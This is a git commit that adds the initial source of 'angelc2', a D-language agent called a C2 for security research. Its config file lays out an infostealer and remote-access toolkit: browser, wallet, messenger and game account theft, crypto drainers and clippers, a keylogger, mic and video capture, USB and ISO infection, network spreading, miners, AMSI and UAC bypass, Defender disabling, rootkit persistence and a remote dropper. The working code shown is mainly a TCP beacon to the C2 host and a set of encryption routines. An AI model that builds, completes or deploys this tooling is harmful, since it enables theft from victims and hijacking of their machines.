Initiliazation

This commit is contained in:
2025-12-22 16:23:48 +01:00
parent 7a8b6d451d
commit b29e6179f3
165 changed files with 28070 additions and 0 deletions

16
vv1/LICENSE Normal file
View File

@@ -0,0 +1,16 @@
MIT No Attribution
Copyright <YEAR> <COPYRIGHT HOLDER>
Permission is hereby granted, free of charge, to any person obtaining a copy of this
software and associated documentation files (the "Software"), to deal in the Software
without restriction, including without limitation the rights to use, copy, modify,
merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

0
vv1/LICENSE.txt Normal file
View File

3
vv1/README.md Normal file
View File

@@ -0,0 +1,3 @@
# angelc2
Professional C2 software for security research

1
vv1/README.txt Normal file
View File

@@ -0,0 +1 @@

16
vv1/agent/.gitignore vendored Normal file
View File

@@ -0,0 +1,16 @@
.dub
docs.json
__dummy.html
docs/
/angel
angel.so
angel.dylib
angel.dll
angel.a
angel.lib
angel-test-*
*.exe
*.pdb
*.o
*.obj
*.lst

76
vv1/agent/angel/angel.d Normal file
View File

@@ -0,0 +1,76 @@
module angel.main;
// TODO optimize imports (only neccessary)
// TODO mutex check + execution timer
// TODO anti dbg
// TODO error handler ?? use auto, receive -> check for data, if none print result (err)
// TODO veh/vectored syscalls in suspended thread
// Internal imports
import angel.utils.logging;
import angel.utils.constants;
import angel.utils.clean;
import angel.conn : Listener;
//import angel.exfil.browser.browser;
import angel.utils.init;
//import angel.utils.cryptography.threefish;
//import angel.utils.cryptography.aes;
import angel.utils.cryptography.serpent;
import angel.utils.cryptography.cryptography;
import angel.utils.cryptography.cryptography : Serpi, Freefishy;
//import angel.utils.cryptography.gcm.gcm;
//import angel.utils.cryptography.aes;
import angel.utils.cryptography.threefish;
import angel.config : config;
//import angel.conn.vnc.vnc;
// External imports
import std.stdio;
import std.conv : to;
import core.thread.osthread;
import std.format;
int main()
{
init();
// ! Serpent implementation
Cryptography.KeyPair keypair = Cryptography.derive_25519(config.server_pk);
auto serp = new Serpi(keypair);
auto lol = serp.encrypt(cast(ubyte[]) "meow meow meow hi lol,lollolllllldlsaldlasflsdlf");
Logger.log(LogLevel.Debug, lol.to!string);
auto lol2 = serp.decrypt(lol);
Logger.log(LogLevel.Debug, lol2.to!string);
// ! ThreeFish512 implementation
auto kiii = Threefish512.generateKey();
auto tweaki = Threefish512.generateTweak();
Logger.log(LogLevel.Debug, format("Generated Key: %s", kiii));
Logger.log(LogLevel.Debug, format("Generated Tweak: %s", tweaki));
auto fish = new Freefishy(kiii, tweaki);
auto lol3 = fish.encrypt(cast(ubyte[]) "meow meow meow hi lol,lollolllllldlsaldlasflsdlf");
Logger.log(LogLevel.Debug, lol3.to!string);
auto lol4 = fish.decrypt(lol3);
Logger.log(LogLevel.Debug, lol4.to!string);
new Listener();
return 0;
}

View File

View File

View File

213
vv1/agent/angel/config.d Normal file
View File

@@ -0,0 +1,213 @@
module angel.config;
// Internal imports
import angel.utils.constants;
// External imports
import std.stdio;
// bool -> possible values: 'true' or 'false'
// string -> possible values: character slice (use "" to define a slice)
// array - [] -> possible values: multiple character slices seperated by commas (inside)
struct Config
{
struct Server
{
string host = "127.0.0.1"; // c2 ip
int port = 8080; // c2 port
int initializer = 0;
}
bool debug_mode = true;
ubyte[] server_pk = [
0x63, 0x33, 0xa2, 0x5f, 0x48, 0xbb, 0x69, 0x8e, 0x1a, 0x90, 0x02, 0x83,
0x20, 0xd2, 0x05, 0x6a, 0xa1, 0x6e, 0x37, 0x2e, 0xdd, 0x84, 0xb4, 0x06,
0x20, 0xc8, 0xbc, 0xb6, 0x82, 0x17, 0x81, 0x51
]; // server public curve25519 key
struct Antidbg
{
bool analysis = true;
bool dbg = true;
bool kill = false;
bool vm = false;
}
bool fakeErr = false;
// remove Constants.Errmsg("[]") to use std err msg
Constants.Errmsg errmsg = Constants.Errmsg("custom err msg");
struct Exclude
{
string[] country = ["de", "ru"]; // country to exclude from stealing
string[] path = ["", ""]; // path to exclude from antivirus
string[] network = [""]; // disables access to specific network/web addresses
}
struct Spread
{
bool local_network = true;
bool messenger = true;
bool mail = false;
}
struct Infect
{
bool iso = true;
bool usb = true;
bool systemfil = true;
}
struct Miner
{ // choose from: 'gpu/cpu'
Constants.Coin xmr = Constants.Coin(1, "", ""); // (integer percentage, source device, wallet address)
Constants.Coin btc = Constants.Coin(1, "", ""); // example: (30, gpu, "0x62CeC6EAA79Ad549Bd010D13EdA4fDc796751823")
Constants.Coin ltc = Constants.Coin(1, "", "");
Constants.Coin sol = Constants.Coin(1, "", "");
Constants.Coin eth = Constants.Coin(1, "", "");
}
struct Exfil
{
bool applications = true;
struct Browser
{
bool gecko = false;
bool chromium = true;
bool inject = false;
}
Browser browser;
struct Network
{
bool ftp = false;
bool ssh = false;
bool vpn = false;
bool proxy = false;
bool hook = false;
}
Network network;
struct Files
{
bool common = true;
bool important = true;
string[] commonFiles = [""];
string[] importantFiles = [""]; // put file extensions here like txt, png, jpeg, kdbx, db etc.
}
Files files;
struct Games
{
bool accounts = true;
bool saves = false;
bool inject = true;
string savesize = ""; // max. local save size (M=megabytes, K=kilobytes, G=gigabytes), e.g. 120M
}
Games games;
struct Mail
{
bool client = true;
bool web = false;
bool inject = false;
}
Mail mail;
bool filterAccounts = false;
bool systemInformation = false;
bool porndetect = false;
struct Wallet
{
bool seed = true;
Constants.Address xmrDrainer = Constants.Address("");
Constants.Address btcDrainer = Constants.Address("");
Constants.Address ltcDrainer = Constants.Address("");
Constants.Address solDrainer = Constants.Address("");
Constants.Address ethDrainer = Constants.Address("");
Constants.Address xmrClipper = Constants.Address("");
Constants.Address btcClipper = Constants.Address("");
Constants.Address ltcClipper = Constants.Address("");
Constants.Address ethClipper = Constants.Address("");
Constants.Address solClipper = Constants.Address("");
bool inject = false;
}
Wallet wallet;
struct Messenger
{
bool messages = false;
bool login = true;
bool inject = false;
}
Messenger messenger;
bool snapshot = false;
bool screenshot = true;
}
struct Conn
{
bool keylogger = true;
bool micrecord = false;
bool vidrecord = false;
string interval = ""; // integer + m = minutes, h = hours, d = days, example: 15m or 2h
}
struct Persistence
{
string mode = ""; // bootkit, ring0 rootkit, registry, windows startup folder, app injection startup
// choose from: 'boot, kernel, reg, file, app'
}
struct Privesc
{
bool fixExclusion = true;
bool disReagentC = true;
bool disEtw = true;
bool amsiBypass = true;
bool uacBypass = true;
bool destroyDef = false;
bool disableAv = false;
}
struct Dropper
{
bool memLoad = true; // load into memory/run module
bool startup = false; // will use the same method as persistence
bool update = false; // scrape again every time from URL
string url = ""; // URL to scrape file from
}
struct Dnsmanip
{
bool exclude = true; // excludes files from exclude struct to deny web access
}
Server server;
Antidbg antidbg;
Exclude exclude;
Spread spread;
Infect infect;
Miner miner;
Exfil exfil;
Conn conn;
Persistence persistence;
Privesc privesc;
Dropper dropper;
Dnsmanip dnsmanip;
}
Config config;

58
vv1/agent/angel/conn.d Normal file
View File

@@ -0,0 +1,58 @@
module angel.conn;
// Internal imports
import angel.utils.logging;
import angel.utils.constants;
import angel.config : config;
// External imports
import std.socket;
import std.conv;
import std.format;
import std.stdio;
class Listener
{
private TcpSocket sock;
this()
{
this.initialize();
this.sockc();
}
private void initialize()
{
Logger.log(LogLevel.Debug, format("Establishing conn: %s:%s", config.server.host, config
.server.port));
try {
this.sock = new TcpSocket();
this.sock.connect(new InternetAddress(config.server.host, cast(ushort) config.server.port));
}
catch (SocketOSException err) {
Logger.log(LogLevel.Error, format("Failed to establ conn: %s", err));
this.sock = null;
}
catch (Exception err) {
Logger.log(LogLevel.Error, format("Unknown err occurred: %s", err));
this.sock = null;
}
}
private void sockc()
{
if (this.sock is null) {
Logger.log(LogLevel.Warning, "Cannot send data: No active connection.");
return;
}
ubyte[] init_id = [to!ubyte(config.server.initializer)];
try {
this.sock.send(init_id);
Logger.log(LogLevel.Event, "Initializer ID sent.");
}
catch (SocketOSException err) {
Logger.log(LogLevel.Error, format("Failed to send data: %s", err));
}
}
}

View File

0
vv1/agent/angel/parse.d Normal file
View File

View File

@@ -0,0 +1,9 @@
module angel.utils.clean;
// Internal imports
// External imports
import std.stdio;
void clean() {
}

View File

@@ -0,0 +1,36 @@
module angel.utils.constants;
// Internal imports
// External imports
import std.stdio;
import std.process;
import std.Path;
class Constants {
public static string appdata;
public static string local_appdata;
public static string workdir;
public static string logFilePath;
static this() {
appdata = environment.get("APPDATA");
local_appdata = environment.get("LOCALAPPDATA");
workdir = buildPath(appdata, "Angel");
logFilePath = buildPath(workdir, "angel.log");
}
struct Address {
string addr;
}
struct Coin {
int percentage = 30;
string source = "gpu";
string addr;
}
struct Errmsg {
string msg = "The exception unknown software exception (0x0000409) occurred in the application at location 0x7FFDF3B6A3C.\n\nClick on OK to terminate the program";
}
}

View File

@@ -0,0 +1,416 @@
module angel.utils.cryptography.bitmanip;
import std.traits;
///
/// This module contains several methods to convert integer types into byte arrays
/// and vice versa.
///
///
alias rotateLeft rol;
alias rotateRight ror;
/// rot shift to the left
/// Params:
/// x = integer to shift
/// shiftAmount = number of bits to shift
@safe
@nogc
T rotateLeft(T)(T x, uint shiftAmount) pure nothrow
{
enum nbits = T.sizeof*8;
//shiftAmount %= nbits;
return cast(T)(x << shiftAmount) | (x >>> (nbits-shiftAmount));
}
/// test rotateLeft
unittest {
ubyte b0 = 0b10000001;
ubyte b1 = 0b00000011;
ubyte b2 = 0b00000110;
ubyte b7 = 0b11000000;
assert(rotateLeft(b0,0) == b0);
assert(rotateLeft(b0,1) == b1);
assert(rotateLeft(b0,2) == b2);
assert(rotateLeft(b0,7) == b7);
assert(rotateLeft(b0,8) == b0);
}
/// rot shift to the right
/// Params:
/// x = integer to shift
/// shiftAmount = number of bits to shift
@safe
@nogc
T rotateRight(T)(T x, uint shiftAmount) pure nothrow
{
enum nbits = T.sizeof*8;
//shiftAmount %= nbits;
return cast(T)((x >>> shiftAmount) | (x << (nbits-shiftAmount)));
}
/// test rotateRight
unittest {
ubyte b0 = 0b00000101;
ubyte b1 = 0b10000010;
ubyte b2 = 0b01000001;
ubyte b7 = 0b00001010;
assert(rotateRight(b0,0) == b0);
assert(rotateRight(b0,1) == b1);
assert(rotateRight(b0,2) == b2);
assert(rotateRight(b0,7) == b7);
assert(rotateRight(b0,8) == b0);
}
/**
Converts big endian bytes to integral of type T
Params: bs = the big endian bytes
Returns: integral of type T
*/
@safe @nogc
T fromBigEndian(T)(in ubyte[] bs) if (isIntegral!T)
in {
assert(bs.length >= T.sizeof, "input buffer too short");
}
body {
version(BigEndian) {
// data is already in memory as we want
return (cast(const T[])bs)[0];
}else {
Unqual!T n = 0;
static if (T.sizeof >= short.sizeof) {
n |= bs[0];
n <<= 8;
n |= bs[1];
}
static if (T.sizeof >= int.sizeof) {
n <<= 8;
n |= bs[2];
n <<= 8;
n |= bs[3];
}
static if (T.sizeof == long.sizeof) {
n <<= 8;
n |= bs[4];
n <<= 8;
n |= bs[5];
n <<= 8;
n |= bs[6];
n <<= 8;
n |= bs[7];
}
return n;
}
}
/**
Converts little endian bytes to integral of type T
Params: bs = the little endian bytes
Returns: integral of type T
*/
@safe @nogc
T fromLittleEndian(T)(in ubyte[] bs) if (isIntegral!T)
in {
assert(bs.length >= T.sizeof, "input buffer too short");
}
body {
version(LittleEndian) {
// data is already in memory as we want
return (cast(const T[])bs)[0];
}else {
Unqual!T n = 0;
static if (T.sizeof >= short.sizeof) {
n |= bs[0];
n |= cast(T)bs[1] << 8;
}
static if (T.sizeof >= int.sizeof) {
n |= cast(T)bs[2] << 16;
n |= cast(T)bs[3] << 24;
}
static if (T.sizeof == long.sizeof) {
n |= cast(T)bs[4] << 32;
n |= cast(T)bs[5] << 40;
n |= cast(T)bs[6] << 48;
n |= cast(T)bs[7] << 56;
}
return n;
}
}
/**
Converts big endian bytes to integrals of type T
size of bs has to match the size in bytes of output
Params:
bs = the big endian bytes
output = where the T's get written to
*/
@safe @nogc
void fromBigEndian(T)(in ubyte[] bs, T[] output) if (isIntegral!T)
in {
assert(bs.length == output.length * T.sizeof, "size of input array does not match size of output array");
}
body {
version(BigEndian) {
// short cut on big endian systems
const T[] casted = cast(const T[]) bs;
output[] = casted[];
} else {
// for little endian systems
enum s = T.sizeof;
foreach (i; 0 .. output.length)
{
output[i] = fromBigEndian!T(bs[s*i .. s*i+s]);
}
}
}
/**
Converts little endian bytes to integrals of type T
size of bs has to match the size in bytes of output
Params:
bs = the little endian bytes
output = where the T's get written to
*/
@safe @nogc
void fromLittleEndian(T)(in ubyte[] bs, T[] output) if (isIntegral!T)
in {
assert(bs.length == output.length * T.sizeof, "size of input array does not match size of output array");
}
body {
version(LittleEndian) {
// short cut on little endian systems
const T[] casted = cast(const T[]) bs;
output[] = casted[];
} else {
// for big endian systems
enum s = T.sizeof;
foreach (i; 0 .. output.length)
{
output[i] = fromLittleEndian!T(bs[s*i .. s*i+s]);
}
}
}
/**
convert a integral type T into an array of bytes.
Params:
n = the number
output = the buffer to write the bytes to
*/
@safe @nogc
void toBigEndian(T)(in T val, ubyte[] output) if(isIntegral!T)
in {
assert(output.length >= T.sizeof, "output buffer too small");
}
body {
Unqual!T n = val;
uint off = 0;
static if(T.sizeof == long.sizeof) {
output[off] = cast (ubyte) (n >>> 56);
++off;
output[off] = cast (ubyte) (n >>> 48);
++off;
output[off] = cast (ubyte) (n >>> 40);
++off;
output[off] = cast (ubyte) (n >>> 32);
++off;
}
static if(T.sizeof >= int.sizeof) {
output[off] = cast (ubyte) (n >>> 24);
++off;
output[off] = cast (ubyte) (n >>> 16);
++off;
}
static if(T.sizeof >= short.sizeof) {
output[off] = cast (ubyte) (n >>> 8);
++off;
}
output[off] = cast (ubyte) (n);
}
/**
convert a integral type T into an array of bytes.
Params:
n = the number
output = the buffer to write the bytes to
*/
@safe @nogc
void toLittleEndian(T)(in T val, ubyte[] output) if(isIntegral!T)
in {
assert(output.length >= T.sizeof, "output buffer too small");
}
body {
Unqual!T n = val;
output[0] = cast (ubyte) (n);
n >>>= 8;
static if(T.sizeof >= short.sizeof) {
output[1] = cast (ubyte) (n);
n >>>= 8;
}
static if(T.sizeof >= int.sizeof) {
output[2] = cast (ubyte) (n);
n >>>= 8;
output[3] = cast (ubyte) (n);
n >>>= 8;
}
static if(T.sizeof == long.sizeof) {
output[4] = cast (ubyte) (n);
n >>>= 8;
output[5] = cast (ubyte) (n);
n >>>= 8;
output[6] = cast (ubyte) (n);
n >>>= 8;
output[7] = cast (ubyte) (n);
}
}
/**
convert a integral type T[] into an array of bytes.
Params:
ns = the numbers
output = the buffer to write the bytes to
*/
@safe @nogc
void toBigEndian(T)(in T[] ns, ubyte[] output) if(isIntegral!T)
in {
assert(output.length >= T.sizeof*ns.length, "output buffer too small");
}
body {
version(BigEndian) {
// shortcut on BigEndian systems
const ubyte[] casted = cast(const ubyte []) ns;
output[] = casted[];
}else{
foreach(i, const T n; ns) {
toBigEndian!T(n, output[T.sizeof * i .. $]);
}
}
}
/**
convert a integral type T[] into an array of bytes.
Params:
ns the numbers
output the buffer to write the bytes to
*/
@safe @nogc
void toLittleEndian(T)(in T[] ns, ubyte[] output) if(isIntegral!T)
in {
assert(output.length >= T.sizeof*ns.length, "output buffer too small");
}
body {
version(LittleEndian) {
// shortcut on LittleEndian systems
const ubyte[] casted = cast(const ubyte []) ns;
output[] = casted[];
}else{
foreach(i, const T n; ns) {
toLittleEndian!T(n, output[T.sizeof * i .. $]);
}
}
}
ubyte[T.sizeof] toBigEndian(T)(in T n) pure nothrow @nogc
if(isIntegral!T)
{
ubyte[T.sizeof] bs;
toBigEndian!T(n, bs);
return bs;
}
ubyte[] toBigEndian(T)(in T[] ns) if(isIntegral!T)
{
ubyte[] bs = new ubyte[T.sizeof * ns.length];
toBigEndian!T(ns, bs);
return bs;
}
ubyte[T.sizeof] toLittleEndian(T)(in T n) pure nothrow @nogc
if(isIntegral!T)
{
ubyte[T.sizeof] bs;
toLittleEndian!T(n, bs);
return bs;
}
ubyte[] toLittleEndian(T)(in T[] ns) if(isIntegral!T)
{
ubyte[] bs = new ubyte[T.sizeof * ns.length];
toLittleEndian!T(ns, bs);
return bs;
}
unittest {
// int
assert(toBigEndian(0x01020304) == [0x01,0x02,0x03,0x04], "intToBigEndian failed");
assert(toLittleEndian(0x01020304) == [0x04,0x03,0x02,0x01], "intToLittleEndian failed");
// long
assert(toBigEndian(0x0102030405060708L) == [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08], "longToBigEndian failed");
assert(toLittleEndian(0x0807060504030201L) == [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08], "longToLittleEndian failed");
// bigEndian to short, int, long
assert(fromBigEndian!ushort([0x01,0x02]) == 0x0102u);
assert(fromBigEndian!uint([0x01,0x02,0x03,0x04]) == 0x01020304u);
assert(fromBigEndian!ulong([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]) == 0x0102030405060708UL);
// littleEndian to short, int, long
assert(fromLittleEndian!ushort([0x02,0x01]) == 0x0102u);
assert(fromLittleEndian!uint([0x04,0x03,0x02,0x01]) == 0x01020304u);
assert(fromLittleEndian!ulong([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]) == 0x0807060504030201UL);
// bigEndian: convert multiple ints
uint[] output = new uint[2];
immutable ubyte[] input = [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08];
fromBigEndian(input, output);
assert(output == [0x01020304u, 0x05060708u], "fromBigEndian(ubyte[] input, int[] output) failed");
// littleEndian: convert multiple ints
output = new uint[2];
fromLittleEndian(input, output);
assert(output == [0x04030201u, 0x08070605u], "fromLittleEndian(ubyte[] input, int[] output) failed");
immutable int i = 0xf1f2f3f4;
int iResult;
ubyte[] buf;
// int to bigEndian
buf = new ubyte[4];
toBigEndian!int(i, buf);
iResult = fromBigEndian!int(buf);
assert(i == iResult);
// int to littleEndian
buf = new ubyte[4];
toLittleEndian!int(i, buf);
iResult = fromLittleEndian!int(buf);
assert(i == iResult);
immutable long l = 0xf1f2f3f4f5f6f7f8;
long lResult;
// long to bigEndian
buf = new ubyte[8];
toBigEndian!long(l, buf);
lResult = fromBigEndian!long(buf);
assert(l == lResult);
// int to littleEndian
buf = new ubyte[8];
toLittleEndian!long(l, buf);
lResult = fromLittleEndian!long(buf);
assert(l == lResult);
}

View File

@@ -0,0 +1,191 @@
module angel.utils.cryptography.blockcipher;
/// Use this to check if type is a block cipher.
@safe
template isBlockCipher(T)
{
enum bool isBlockCipher =
is(T == struct) &&
is(typeof(
{
ubyte[0] block;
T bc = T.init; // Can define
string name = T.name;
uint blockSize = T.blockSize;
bc.start(cast(const ubyte[]) block, cast(const ubyte[]) block); // init with secret key and iv
uint len = bc.encrypt(cast (const ubyte[]) block, block);
bc.reset();
}));
}
/// OOP API for block ciphers
@safe
public interface IBlockCipher {
@safe public:
/**
* Initialize the cipher.
*
* Params:
* forEncryption = if true the cipher is initialised for
* encryption, if false for decryption.
* userKey = A secret key.
* iv = A nonce.
*/
void start(in ubyte[] userKey, in ubyte[] iv = null) nothrow @nogc;
/**
* Return the name of the algorithm the cipher implements.
*
* Returns: the name of the algorithm the cipher implements.
*/
@property
string name() pure nothrow;
/**
* Return the block size for this cipher (in bytes).
*
* Returns: the block size for this cipher in bytes.
*/
@property
uint blockSize() pure nothrow @nogc;
/**
* Process one block of input from the array in and write it to
* the out array.
*
* Params:
* input = the slice containing the input data.
* output = the slice the output data will be copied into.
* Throws: IllegalStateException if the cipher isn't initialised.
* Returns: the number of bytes processed and produced.
*/
@nogc
uint encrypt(in ubyte[] input, ubyte[] output) nothrow;
@nogc
uint decrypt(in ubyte[] input, ubyte[] output) nothrow;
/**
* Reset the cipher. After resetting the cipher is in the same state
* as it was after the last init (if there was one).
*/
@nogc
void reset() nothrow;
}
/// Wraps block ciphers into the OOP API
@safe
public class BlockCipherWrapper(T) if(isBlockCipher!T): IBlockCipher {
private T cipher;
@safe public:
/**
* Initialize the cipher.
*
* Params:
* forEncryption = if true the cipher is initialised for
* encryption, if false for decryption.
* params = the key and other data required by the cipher.
*
* Throws: IllegalArgumentException if the params argument is
* inappropriate.
*/
void start(in ubyte[] key, in ubyte[] iv = null) nothrow {
cipher.start(key, iv);
}
/**
* Return the name of the algorithm the cipher implements.
*
* Returns: the name of the algorithm the cipher implements.
*/
@property
string name() pure nothrow {
return cipher.name;
}
/**
* Return the block size for this cipher (in bytes).
*
* Returns: the block size for this cipher in bytes.
*/
@property
uint blockSize() pure nothrow @nogc {
return T.blockSize;
}
/**
* Process one block of input from the array in and write it to
* the out array.
*
* Params:
* input = the slice containing the input data.
* output = the slice the output data will be copied into.
* Throws: IllegalStateException if the cipher isn't initialised.
* Returns: the number of bytes processed and produced.
*/
uint encrypt(in ubyte[] input, ubyte[] output) nothrow @nogc {
return cipher.encrypt(input, output);
}
uint decrypt(in ubyte[] input, ubyte[] output) nothrow @nogc {
return cipher.decrypt(input, output);
}
/**
* Reset the cipher. After resetting the cipher is in the same state
* as it was after the last init (if there was one).
*/
void reset() nothrow @nogc {
cipher.reset();
}
}
version(unittest) {
// unittest helper functions
import std.format: format;
/// Runs decryption and encryption using BlockCipher bc with given keys, plaintexts, and ciphertexts
///
/// Params:
/// keys = The encryption/decryption keys.
/// plaintexts = Plaintexts.
/// cipherTexts = Corresponding ciphertexts.
/// ivs = Initialization vectors.
///
@safe
public void blockCipherTest(IBlockCipher bc, string[] keys, string[] plaintexts, string[] cipherTexts, string[] ivs = null) {
foreach (uint i, string test_key; keys)
{
ubyte[] buffer = new ubyte[bc.blockSize];
const ubyte[] key = cast(const ubyte[]) test_key;
const (ubyte)[] iv = null;
if(ivs !is null) {
iv = cast(const (ubyte)[]) ivs[i];
}
// Encryption
bc.start(key, iv);
bc.encrypt(cast(const ubyte[]) plaintexts[i], buffer);
assert(buffer == cipherTexts[i],
format("%s failed to encrypt.", bc.name));
// Decryption
bc.start(key, iv);
bc.decrypt(cast(const ubyte[]) cipherTexts[i], buffer);
assert(buffer == plaintexts[i],
format("%s failed to decrypt.", bc.name));
}
}
}

View File

@@ -0,0 +1,148 @@
module angel.utils.cryptography.cryptography;
// Internal imports
import angel.utils.logging;
import angel.utils.cryptography.serpent;
import angel.utils.cryptography.threefish;
import angel.utils.cryptography.curve25519;
// External imports
import std.stdio;
import std.random;
import std.format;
class Cryptography {
public {
struct KeyPair {
ubyte[32] clientSecretKey;
ubyte[32] sharedSecret;
}
}
public static KeyPair derive_25519(ubyte[] pk) {
ubyte[32] sk; // generate client secret key
for (int i = 0; i < 32; ++i) {
sk[i] = cast(ubyte)(uniform(0, 256));
}
Logger.log(LogLevel.Debug, "Generated client sk");
ubyte[32] ss = curve25519_scalarmult(sk, pk); // derive shared secret out of pk and sk
Logger.log(LogLevel.Debug, format("Derived shared secret: %s", ss));
return KeyPair(sk, ss);
}
}
class Freefishy {
private Threefish512 cipher;
this(ulong[8] key, ulong[2] tweak) {
cipher = new Threefish512();
cipher.setup(key, tweak);
}
public ubyte[] encrypt(ubyte[] payload) {
ulong[8] plain = [0, 0, 0, 0, 0, 0, 0, 0];
// Pack the ubyte[] into ulong[] by 8 bytes per ulong
foreach (i, c; payload) {
plain[i / 8] |= cast(ulong) c << ((i % 8) * 8);
}
// Encrypt the ulong array
ulong[] encrypted_three = cipher.crypt(plain);
// Convert the encrypted ulong[] back to ubyte[]
ubyte[] encrypted_bytes;
foreach (enc_val; encrypted_three) {
foreach (i; 0..8) {
encrypted_bytes ~= cast(ubyte)((enc_val >> (i * 8)) & 0xFF);
}
}
Logger.log(LogLevel.Debug, format("Threefish Encrypted: %s", encrypted_bytes));
return encrypted_bytes;
}
public ubyte[] decrypt(ubyte[] payload) {
ulong[8] decrypted_buffer;
// Convert the ubyte[] payload back into ulong[] (8 bytes per ulong)
ulong[8] cipher_payload;
foreach (i, val; payload) {
cipher_payload[i / 8] |= cast(ulong) val << ((i % 8) * 8);
}
// Decrypt the ulong[] array
cipher.decrypt(cipher_payload.ptr, decrypted_buffer.ptr);
// Convert the decrypted ulong[] back to ubyte[]
ubyte[] decrypted_bytes;
foreach (dec_val; decrypted_buffer) {
foreach (i; 0..8) {
decrypted_bytes ~= cast(ubyte)((dec_val >> (i * 8)) & 0xFF);
}
}
Logger.log(LogLevel.Debug, format("Threefish Decrypted: %s", decrypted_bytes));
return decrypted_bytes;
}
}
class Serpi {
private Serpent serp;
this(Cryptography.KeyPair keypair) {
auto key = cast(ubyte[]) keypair.sharedSecret.dup;
serp.start(key);
}
public ubyte[] encrypt(ubyte[] payload) {
ubyte padding = cast(ubyte)(16 - (payload.length % 16));
ubyte[] paddingBytes = new ubyte[padding];
foreach (i; 0 .. padding) {
paddingBytes[i] = padding;
}
ubyte[] input = payload ~ paddingBytes;
ubyte[] output = new ubyte[input.length];
serp.encrypt(input, output);
Logger.log(LogLevel.Debug, format("Serpent Encrypted data: %s", output));
return output;
}
public ubyte[] decrypt(ubyte[] payload) {
ubyte[] output = new ubyte[payload.length];
serp.decrypt(payload, output);
if (output.length == 0) {
throw new Exception("Decryption failed: Output length is zero.");
}
ubyte padding = output[$ - 1];
if (padding > 16 || padding == 0) {
throw new Exception("Invalid padding detected");
}
foreach (i; output.length - padding .. output.length) {
if (output[i] != padding) {
throw new Exception("Padding validation failed");
}
}
ubyte[] unpadded = output[0 .. output.length - padding];
Logger.log(LogLevel.Debug, format("Serpent Decrypted data: %s", unpadded));
return unpadded;
}
public void reset() {
serp.reset();
}
}

View File

@@ -0,0 +1,136 @@
module angel.utils.cryptography.curve25519;
import angel.utils.cryptography.fieldelem;
import angel.utils.cryptography.utils;
public enum ubyte[32] publicBasePoint = cast(immutable (ubyte[32]) ) x"0900000000000000000000000000000000000000000000000000000000000000";
@safe nothrow @nogc:
///
///
/// Params:
/// secret = Your secret key, the 'exponent'.
/// p = Receivers public key. Default base point = 9.
///
/// Returns: p^secret.
///
/// Examples:
///
/// ubyte[32] publicKey = curve25519_scalarmult(secretKey);
///
/// ubyte[32] sharedKey = curve25519_scalarmult(mySecretKey, herPublicKey);
///
ubyte[32] curve25519_scalarmult(
in ubyte[] secret,
in ubyte[] p = cast(const ubyte[32]) publicBasePoint) @safe nothrow @nogc
in {
assert(secret.length == 32, "Secret key must be 32 bytes long.");
assert(p.length == 32, "Public key must be 32 bytes long.");
} body {
ubyte[32] sec = secret;
scope(exit) {
wipe(sec);
}
ubyte[32] pub = p;
return curve25519_scalarmult(sec, pub);
}
///
///
/// Params:
/// secret = Your secret key, the 'exponent'.
/// p = Receivers public key. Default base point = 9.
///
/// Returns: p^secret.
///
/// Examples:
///
/// ubyte[32] publicKey = curve25519_scalarmult(secretKey);
///
/// ubyte[32] sharedKey = curve25519_scalarmult(mySecretKey, herPublicKey);
///
ubyte[32] curve25519_scalarmult(in ref ubyte[32] secret, in ref ubyte[32] p = publicBasePoint) @safe nothrow @nogc
{
ubyte[32] e = secret;
scope(exit) {
wipe(e);
}
clamp(e);
fe x1, x2, x3, z2, z3, tmp0, tmp1;
scope(exit) {
wipe(x1);
wipe(x2);
wipe(x3);
wipe(z2);
wipe(z3);
wipe(tmp0);
wipe(tmp1);
}
x1 = fe.fromBytes(p);
x2 = fe.one;
z2 = fe.zero;
x3 = x1;
z3 = fe.one;
uint swap = 0, b;
for (int pos = 254; pos >= 0;--pos) {
b = e[pos / 8] >> (pos & 7);
b &= 1;
swap ^= b;
fe_cswap(x2,x3,swap);
fe_cswap(z2,z3,swap);
swap = b;
tmp0 = x3 - z3;
tmp1 = x2 - z2;
x2 += z2;
z2 = x3 + z3;
z3 = tmp0 * x2;
z2 *= tmp1;
tmp0 = tmp1.sq;
tmp1 = x2.sq;
x3 = z2 + z3;
z2 = z3 - z2;
x2 = tmp0 * tmp1;
tmp1 -= tmp0;
z2 = z2.sq;
z3 = fe_mul121666(tmp1);
x3 = x3.sq;
tmp0 += z3;
z3 = x1 * z2;
z2 = tmp0 * tmp1;
}
fe_cswap(x2,x3,swap);
fe_cswap(z2,z3,swap);
x2 *= z2.inverse;
return x2.toBytes;
}
/// Transforms 32 random bytes into a valid secret key.
///
/// Params:
/// sk = 32 byte secret key.
package void clamp(ubyte[] sk) pure
in {
assert(sk.length == 32);
} body {
sk[0] &= 248;
sk[31] &= 63;
sk[31] |= 64;
}

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,261 @@
module angel.utils.cryptography.threefish;
import std.random : Random, unpredictableSeed, uniform;
// memcpy
extern(C) nothrow @nogc void* memcpy(void* dst, const void* src, size_t n);
class Threefish512
{
private {
// Размер блока шифра
enum blockSize = 64;
// Количество 64-битных слов в ключе (и в блоке)
enum Nw = 8;
// Количество раундов
enum Nr = 72;
// Количество раундов (за вычетом последнего)
enum Ns = Nr / 4;
// Функция перестановки
uint[8] p = [2, 1, 4, 7, 6, 5, 0, 3];
uint[8] p_1 = [6, 1, 0, 7, 2, 5, 4, 3];
// Функция смешивания и перестановки
uint[4][8] r = [
[46, 36, 19, 37],
[33, 27, 14, 42],
[17, 49, 36, 39],
[44, 9 , 54, 56],
[39, 30, 34, 24],
[13, 50, 10, 17],
